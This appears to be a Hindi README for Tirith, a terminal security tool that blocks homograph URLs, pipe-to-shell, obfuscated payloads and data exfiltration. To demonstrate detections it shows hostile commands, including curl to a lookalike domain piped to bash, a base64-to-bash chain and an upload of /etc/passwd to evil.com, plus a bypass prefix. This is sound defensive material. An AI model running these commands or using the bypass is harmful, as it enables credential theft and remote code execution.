
डेवलपर्स और AI एजेंटों के लिए टर्मिनल सुरक्षा। निष्पादन से पहले होमोग्राफ़ URL, पाइप-टू-शेल, ANSI इंजेक्शन, अस्पष्ट पेलोड, डेटा एक्सफ़िल्ट्रेशन, और दुर्भावनापूर्ण AI कौशल/कॉन्फ़िग को रोकता है।
आपका ब्राउज़र इसे पकड़ लेगा। आपका टर्मिनल नहीं पकड़ेगा।
वेबसाइट | डॉक्स | SKILL.md | चेंजलॉग | रिलीज़
स्वतंत्र ओपन-सोर्स प्रोजेक्ट, होस्टिंग Vercel Open Source Program (Spring 2026 Cohort) द्वारा समर्थित।
क्या आप अंतर पहचान सकते हैं?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
आप नहीं कर सकते। आपका टर्मिनल भी नहीं कर सकता। दोनों `і` अक्षर सिरिलिक (U+0456) हैं, लैटिन `i` नहीं। दूसरा URL हमलावर के सर्वर पर रिज़ॉल्व होता है। स्क्रिप्ट आपके ध्यान देने से पहले ही निष्पादित हो जाती है।
ब्राउज़रों ने इसे वर्षों पहले हल कर लिया था। टर्मिनल अभी भी यूनिकोड, ANSI एस्केप, और अदृश्य अक्षरों को बिना किसी प्रश्न के रेंडर करते हैं। AI एजेंट शेल कमांड चलाते हैं और पैकेज इंस्टॉल करते हैं बिना यह जाँचे कि अंदर क्या है।
**Tirith द्वार पर खड़ा है।** यह कमांड, पेस्ट की गई सामग्री, और स्कैन की गई फ़ाइलों को होमोग्राफ़ URL, अस्पष्ट पेलोड, क्रेडेंशियल एक्सफ़िल्ट्रेशन, दुर्भावनापूर्ण AI स्किल्स/कॉन्फ़िग्स, और हस्ताक्षरित थ्रेट इंटेलिजेंस डेटाबेस से ज्ञात-खराब पैकेज/डोमेन/IP के लिए इंटरसेप्ट करता है, इससे पहले कि वे निष्पादित हों।```bash
brew install tirith
फिर अपने शेल प्रोफ़ाइल में सक्रिय करें:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` आपके वर्तमान shell का स्वतः पता लगाता है (यह parent process की जाँच करता है और आवश्यकता पड़ने पर `$SHELL` पर वापस आ जाता है)। स्पष्ट `--shell` flag की आवश्यकता केवल तब होती है जब आप detection को override करना चाहते हैं।
इंटरैक्टिव-shell कवरेज के लिए बस इतना ही। उस shell द्वारा स्वीकार किए गए कमांड तब जाँचे जाते हैं जब hook लोड और स्वस्थ होता है; सटीक blocking व्यवहार shell और mode पर निर्भर करता है। इंस्टॉलेशन और अपग्रेड के बाद `tirith doctor` चलाएँ, और hook को authorization boundary मानने से पहले [enforcement by shell](#enforcement-by-shell) पढ़ें। साफ़ कमांड चुप रहते हैं और सामान्यतः fast path लेते हैं।
[npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), और [अधिक](#install) के माध्यम से भी उपलब्ध है।
---
## इसे काम करते हुए देखें
**Homograph attack, निष्पादन से पहले अवरुद्ध:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
कमांड कभी निष्पादित नहीं होता।
साफ़ URL के साथ पाइप-टू-शेल, चेतावनी दी गई, अवरुद्ध नहीं किया गया:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
चेतावनी stderr पर प्रिंट होती है। कमांड फिर भी चलता है।
**Base64 decode-execute श्रृंखला, अवरुद्ध:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
sudo/env wrappers और PowerShell -EncodedCommand के माध्यम से decode chains को भी पकड़ता है।
Credential exfiltration, blocked:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
सभी curl/wget अपलोड फ़्लैग, env वेरिएबल्स (`$AWS_SECRET_ACCESS_KEY`), और कमांड सब्स्टिट्यूशन को कवर करता है।
**स्कैन पर पकड़ी गई दुर्भावनापूर्ण स्किल फ़ाइल:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
JS/Python फ़ाइलों को अस्पष्ट पेलोड, गतिशील कोड निष्पादन, और गुप्त डेटा चोरी पैटर्न के लिए स्कैन करता है।
सामान्य कमांड, अदृश्य:``` $ git status $ ls -la $ docker compose up -d
कुछ नहीं। शून्य आउटपुट। तुम भूल जाते हो कि tirith चल रहा है।
---
## यह क्या पकड़ता है
**35 श्रेणियों में 244 डिटेक्शन नियम।**